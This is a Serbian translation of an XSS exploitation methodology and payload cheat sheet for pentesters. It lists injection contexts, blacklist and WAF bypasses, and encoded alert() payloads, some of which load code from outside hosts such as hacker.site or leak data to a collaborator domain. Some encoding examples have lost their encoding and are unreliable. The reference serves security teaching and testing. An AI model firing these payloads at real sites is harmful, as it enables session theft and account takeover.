72 KiB
XSS (Cross Site Scripting)
Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako u pismenom, tako i u govornom obliku).
{% embed url="https://www.stmcyber.com/careers" %}
Metodologija
- Proverite da li se bilo koja vrednost kojom upravljate (parametri, putanja, zaglavlja?, kolačići?) reflektuje u HTML-u ili se koristi od strane JS koda.
- Pronađite kontekst gde se ta vrednost reflektuje/koristi.
- Ako je reflektovano
- Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
- U čistom HTML-u:
- Možete li kreirati nove HTML oznake?
- Možete li koristiti događaje ili atribute koji podržavaju
javascript:
protokol? - Možete li zaobići zaštitu?
- Da li se HTML sadržaj interpretira od strane bilo kog klijentskog JS motora (AngularJS, VueJS, Mavo...), možete zloupotrebiti Umetanje klijentskih šablona na strani klijenta.
- Ako ne možete kreirati HTML oznake koje izvršavaju JS kod, možete li zloupotrebiti Dangling Markup - HTML bezskriptno umetanje?
- Unutar HTML oznake:
- Možete li izaći u čisti HTML kontekst?
- Možete li kreirati nove događaje/ atribute da izvršite JS kod?
- Da li atribut u kojem ste zarobljeni podržava izvršenje JS koda?
- Možete li zaobići zaštitu?
- Unutar JavaScript koda:
- Možete li izbeći
<script>
oznaku? - Možete li izbeći string i izvršiti drugačiji JS kod?
- Da li su vaši unosi u šablonima literala ``?
- Možete li zaobići zaštitu?
- JavaScript funkcija koja se izvršava
- Možete naznačiti ime funkcije za izvršenje. npr.:
?callback=alert(1)
- Ako je korišćeno:
- Možete iskoristiti DOM XSS, obratite pažnju kako se kontroliše vaš unos i da li vaš kontrolisani unos koristi neki otok.
Kada radite na složenom XSS-u, možda će vam biti zanimljivo znati o:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
Reflektovane vrednosti
Da biste uspešno iskoristili XSS, prva stvar koju treba pronaći je vrednost kojom upravljate, a koja se reflektuje na web stranici.
- Srednje reflektovano: Ako otkrijete da se vrednost parametra ili čak putanje reflektuje na web stranici, možete iskoristiti Reflektovani XSS.
- Skladišteno i reflektovano: Ako otkrijete da je vrednost kojom upravljate sačuvana na serveru i reflektuje se svaki put kada pristupite stranici, možete iskoristiti Skladišteni XSS.
- Pristupano putem JS: Ako otkrijete da se vrednost kojom upravljate pristupa korišćenjem JS-a, možete iskoristiti DOM XSS.
Konteksti
Kada pokušavate iskoristiti XSS, prva stvar koju treba znati je gde se vaš unos reflektuje. Zavisno od konteksta, moći ćete izvršiti proizvoljan JS kod na različite načine.
Čisti HTML
Ako se vaš unos reflektuje na čistom HTML-u stranice, moraćete zloupotrebiti neku HTML oznaku kako biste izvršili JS kod: <img , <iframe , <svg , <script
... ovo su samo neke od mnogih mogućih HTML oznaka koje možete koristiti.
Takođe, imajte na umu Umetanje klijentskih šablona na strani klijenta.
Unutar atributa HTML oznaka
Ako se vaš unos reflektuje unutar vrednosti atributa oznake, možete pokušati:
- Da izađete iz atributa i iz oznake (tada ćete biti u čistom HTML-u) i kreirate novu HTML oznaku za zloupotrebu:
"><img [...]
- Ako možete izaći iz atributa ali ne i iz oznake (
>
je enkodiran ili obrisan), zavisno od oznake možete kreirati događaj koji izvršava JS kod:" autofocus onfocus=alert(1) x="
- Ako ne možete izaći iz atributa (
"
je enkodiran ili obrisan), onda zavisno od kog atributa se vaša vrednost reflektuje da li kontrolišete celu vrednost ili samo deo moći ćete je zloupotrebiti. Na primer, ako kontrolišete događaj poputonclick=
, moći ćete da naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv primer je atributhref
, gde možete koristitijavascript:
protokol za izvršavanje proizvoljnog koda:href="javascript:alert(1)"
- Ako se vaš unos reflektuje unutar "neiskorišćenih oznaka" možete pokušati trik sa
accesskey
da zloupotrebite ranjivost (trebaće vam neka vrsta socijalnog inženjera da iskoristite ovo):" accesskey="x" onclick="alert(1)" x="
Čudan primer Angulara koji izvršava XSS ako kontrolišete ime klase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Unutar JavaScript koda
U ovom slučaju, vaš unos se reflektuje između <script> [...] </script>
oznaka HTML stranice, unutar .js
datoteke ili unutar atributa korišćenjem javascript:
protokola:
- Ako je reflektovan između
<script> [...] </script>
oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati ubaciti</script>
i izbeći ovaj kontekst. Ovo funkcioniše jer će pregledač prvo parsirati HTML oznake a zatim sadržaj, stoga neće primetiti da je vaš ubačeni</script>
tag unutar HTML koda. - Ako je reflektovan unutar JS stringa i prethodni trik ne funkcioniše, moraćete izaći iz stringa, izvršiti svoj kod i rekonstruisati JS kod (ako postoji greška, neće biti izvršena):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- Ako je reflektovan unutar šablonskih literala, možete ugraditi JS izraze koristeći sintaksu
${ ... }
:var pozdravi = `Zdravo, ${alert(1)}`
- Unicode enkodiranje funkcioniše za pisanje validnog JavaScript koda:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Podizanje JavaScript-a
Podizanje JavaScript-a se odnosi na mogućnost deklarisanja funkcija, promenljivih ili klasa nakon što su korišćene, tako da možete iskoristiti situacije gde XSS koristi nedeklarisane promenljive ili funkcije.
Proverite sledeću stranicu za više informacija:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
JavaScript Funkcija
Na nekoliko web stranica postoje endpointovi koji prihvataju kao parametar ime funkcije za izvršavanje. Čest primer koji se može videti je nešto poput: ?callback=callbackFunc
.
Dobar način da saznate da li nešto što je direktno dato od strane korisnika pokušava da se izvrši je menjanje vrednosti parametra (na primer u 'Vulnerable') i traženje grešaka u konzoli kao:
U slučaju da je ranjivo, možete pokrenuti upozorenje samo slanjem vrednosti: ?callback=alert(1)
. Međutim, vrlo je često da će ovi endpointovi validirati sadržaj da dozvole samo slova, brojeve, tačke i donje crte ([\w\._]
).
Ipak, čak i sa tom ograničenjem, još uvek je moguće izvršiti neke radnje. To je zato što možete koristiti te validne karaktere da pristupite bilo kom elementu u DOM-u:
Neke korisne funkcije za ovo:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Možete takođe pokušati da pokrenete JavaScript funkcije direktno: obj.sales.delOrders
.
Međutim, obično su krajnje tačke koje izvršavaju navedenu funkciju krajnje tačke bez mnogo interesantnog DOM-a, druge stranice na istom izvoru će imati interesantniji DOM za obavljanje više akcija.
Stoga, kako bi se zloupotrebila ova ranjivost u drugom DOM-u, razvijena je eksploatacija Same Origin Method Execution (SOME):
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
Postoji JS kod koji nesigurno koristi neke podatke kontrolisane od strane napadača poput location.href
. Napadač bi mogao zloupotrebiti ovo da izvrši proizvoljan JS kod.
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
Ovakav XSS može se pronaći bilo gde. Ne zavise samo od eksploatacije klijenta veb aplikacije već od bilo kog konteksta. Ovakva vrsta proizvoljne JavaScript eksploatacije može čak biti zloupotrebljena da se dobije RCE, čitanje proizvoljnih fajlova na klijentima i serverima, i više.
Neki primeri:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAF zaobilaženje kodiranja slike
Ubacivanje unutar sirovog HTML-a
Kada se vaš unos reflektuje unutar HTML stranice ili možete da pobegnete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete zloupotrebiti <
da biste kreirali nove oznake: Jednostavno pokušajte da reflektujete taj karakter i proverite da li je HTML enkodiran ili obrisan ili ako je reflektovan bez promena. Samo u poslednjem slučaju ćete moći da iskoristite ovaj slučaj.
Za ove slučajeve takođe imajte na umu Client Side Template Injection.
Napomena: HTML komentar može biti zatvoren koristeći** -->
ili ****--!>
**
U ovom slučaju, ako se ne koristi crna/bela lista, možete koristiti payload-e poput:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
Međutim, ako se koristi crna/bela lista oznaka/atributa, moraćete bruteforce-ovati koje oznake možete kreirati.
Kada ste pronašli koje su oznake dozvoljene, moraćete bruteforce-ovati atribute/događaje unutar pronađenih validnih oznaka da biste videli kako možete napasti kontekst.
Bruteforce oznaka/događaja
Idite na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet i kliknite na Kopiraj oznake u međuspremnik. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li su neke oznake otkrivene kao zlonamerne od strane WAF-a. Kada otkrijete koje oznake možete koristiti, možete bruteforce-ovati sve događaje koristeći validne oznake (na istoj veb stranici kliknite na Kopiraj događaje u međuspremnik i pratite isti postupak kao pre).
Prilagođene oznake
Ako niste pronašli nijednu validnu HTML oznaku, možete pokušati da kreirate prilagođenu oznaku i izvršite JS kod sa atributom onfocus
. U XSS zahtevu, morate završiti URL sa #
da biste stranici omogućili fokusiranje na taj objekat i izvršili kod:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Bypass-ovi crne liste
Ako se koristi neka vrsta crne liste, možete pokušati da je zaobiđete nekim smešnim trikovima:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Bypass dužine (mali XSS-ovi)
{% hint style="info" %} Više malih XSS-ova za različite okoline payload može se pronaći ovde i ovde. {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
Poslednji način je korišćenje 2 Unicode karaktera koji se proširuju na 5: telsr
Više ovakvih karaktera možete pronaći ovde.
Da biste proverili koje karaktere su dekomponovane, proverite ovde.
Klikni XSS - Clickjacking
Ako za iskorišćavanje ranjivosti treba korisnik da klikne na link ili formu sa unapred popunjenim podacima, možete pokušati da zloupotrebite Clickjacking (ako je stranica ranjiva).
Nemoguće - Dangling Markup
Ako smatrate da je nemoguće kreirati HTML tag sa atributom za izvršavanje JS koda, trebalo bi da proverite Danglig Markup jer biste mogli iskoristiti ranjivost bez izvršavanja JS koda.
Ubacivanje unutar HTML taga
Unutar taga/izlazak iz vrednosti atributa
Ako ste unutar HTML taga, prva stvar koju možete pokušati je da izađete iz taga i koristite neke od tehnika navedenih u prethodnom odeljku za izvršavanje JS koda.
Ako ne možete izaći iz taga, možete kreirati nove atribute unutar taga kako biste pokušali izvršiti JS kod, na primer koristeći neki payload kao (napomena da u ovom primeru su dvostruki navodnici korišćeni za izlazak iz atributa, nećete ih trebati ako se vaš unos odražava direktno unutar taga):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stil događaji
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Unutar atributa
Čak i ako ne možete pobeći iz atributa ("
se kodira ili briše), zavisno o kojem atributu se vaša vrednost reflektuje, da li kontrolišete celu vrednost ili samo deo, moći ćete da je zloupotrebite. Na primer, ako kontrolišete događaj poput onclick=
, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.
Još jedan interesantan primer je atribut href
, gde možete koristiti javascript:
protokol da izvršite proizvoljan kod: href="javascript:alert(1)"
Bypass unutar događaja korišćenjem HTML enkodiranja/URL enkodiranja
HTML enkodirani karakteri unutar vrednosti atributa HTML oznaka se dekodiraju pri izvršavanju. Stoga nešto poput sledećeg će biti validno (payload je podebljan): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Imajte na umu da je svaka vrsta HTML enkodiranja validna:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Imajte na umu da će raditi i URL enkodiranje:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass unutrašnjeg događaja korišćenjem Unicode enkodiranja
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Posebni protokoli unutar atributa
Ovde možete koristiti protokole javascript:
ili data:
na nekim mestima da izvršite proizvoljan JS kod. Neke će zahtevati korisničku interakciju, a neke neće.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Mesta gde možete ubaciti ove protokole
Uopšteno javascript:
protokol se može koristiti u bilo kom tagu koji prihvata atribut href
i u većini tagova koji prihvataju atribut src
(ali ne <img
)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Drugi trikovi za prikrivanje
U ovom slučaju, trik sa enkodiranjem HTML-a i trik sa enkodiranjem Unicode-om iz prethodne sekcije takođe važi jer se nalazite unutar atributa.
<a href="javascript:var a=''-alert(1)-''">
Osim toga, postoji još jedan koristan trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:...
URL enkodiran, biće URL dekodiran pre nego što se izvrši. Dakle, ako trebate izbeći iz stringa koristeći jednostruki navodnik i primetite da je URL enkodiran, zapamtite da nije važno, biće interpretiran kao jednostruki navodnik tokom izvršavanja.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Napomena da ako pokušate koristiti i URLencode + HTMLencode
u bilo kom redosledu za enkodiranje payload-a, to neće raditi, ali možete ih mešati unutar payload-a.
Korišćenje heksadecimalnog i oktalnog enkodiranja sa javascript:
Možete koristiti heksadecimalno i oktalno enkodiranje unutar atributa src
elementa iframe
(barem) da biste deklarisali HTML oznake za izvršavanje JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Obrnuto preusmeravanje kartica
<a target="_blank" rel="opener"
Ako možete ubaciti bilo koji URL u proizvoljnu <a href=
oznaku koja sadrži atribute target="_blank" i rel="opener"
, proverite sledeću stranicu da biste iskoristili ovu funkcionalnost:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
o Bypass događajnih rukovaoca
Prvo proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne "on" događajne rukovaoce.
U slučaju da postoji neka crna lista koja sprečava kreiranje ovih događajnih rukovaoca, možete probati sledeće obilaske:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS u "Neprobojivim tagovima" (skriveni input, link, kanonski, meta)
Sa ovde sada je moguće zloupotrebiti skrivene inpute sa:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
I u meta oznakama:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Od ovde: Možete izvršiti XSS payload unutar skrivenog atributa, pod uslovom da možete ubediti žrtvu da pritisne kombinaciju tastera. Na Firefox Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete specificirati drugu kombinaciju tastera koristeći drugi taster u atributu za pristup ključu. Evo vektora:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSS payload će biti nešto poput ovoga: " accesskey="x" onclick="alert(1)" x="
Bypass-ovi crne liste
Već su otkrivene neke trikove korišćenjem različitih enkodiranja unutar ove sekcije. Vratite se nazad da biste saznali gde možete koristiti:
- HTML enkodiranje (HTML tagovi)
- Unicode enkodiranje (može biti validan JS kod):
\u0061lert(1)
- URL enkodiranje
- Heksadecimalno i oktalno enkodiranje
- Data enkodiranje
Bypass-ovi za HTML tagove i atribute
Pročitajte Bypass-ove crne liste prethodne sekcije.
Bypass-ovi za JavaScript kod
Pročitajte JavaScript bypass crne liste sledeće sekcije.
CSS-Gadžeti
Ako pronađete XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u podnožju sa onmouseover elementom), možete pokušati modifikovati prostor koji element zauzima kako biste maksimizirali šanse da se link aktivira.
Na primer, možete dodati neki stil u element poput: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Međutim, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadžete, pa ako pronađete, na primer
.test {display:block; color: blue; width: 100%}
i
#someid {top: 0; font-family: Tahoma;}
Sada možete modifikovati naš link i dovesti ga u oblik
<a href="" id=someid class=test onclick=alert() a="">
Ovaj trik je preuzet sa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Ubacivanje unutar JavaScript koda
U ovim slučajevima, vaš unos će biti reflektovan unutar JS koda .js
fajla ili između <script>...</script>
tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju javascript:
protokol.
Bekstvo <script> taga
Ako je vaš kod ubačen unutar <script> [...] var input = 'reflektovani podaci' [...] </script>
možete lako izbeći zatvaranje <script>
taga:
</script><img src=1 onerror=alert(document.domain)>
Napomena da u ovom primeru čak nismo zatvorili jednostruki navodnik. Ovo je zato što se parsiranje HTML-a prvo vrši od strane pregledača, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugneždenih skripti se vrši tek nakon toga.
Unutar JS koda
Ako se < >
sanitizuju, još uvek možete izbeći string gde se vaš unos nalazi i izvršiti proizvoljni JS. Važno je popraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
Šablonski literali ``
Da biste konstruisali stringove osim jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``
. Ovo je poznato kao šablonski literali jer omogućavaju da se ugrađeni JS izrazi koriste pomoću sintakse ${ ... }
.
Stoga, ako primetite da se vaš unos reflektuje unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... }
da biste izvršili proizvoljni JS kod:
Ovo se može zloupotrebiti korišćenjem:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
Izvršenje enkodiranog koda
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicode Encode JS izvršenje
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Tehnike za zaobilaženje crnih lista JavaScript-a
Stringovi
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Posebni escape-ovi
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
Zamene razmaka unutar JS koda
<TAB>
/**/
JavaScript komentari (iz trika o JavaScript komentarima )
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript nove linije (iz trika JavaScript nove linije )
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript razmaci
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript unutar komentara
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript bez zagrada
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Proizvoljan poziv funkcije (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
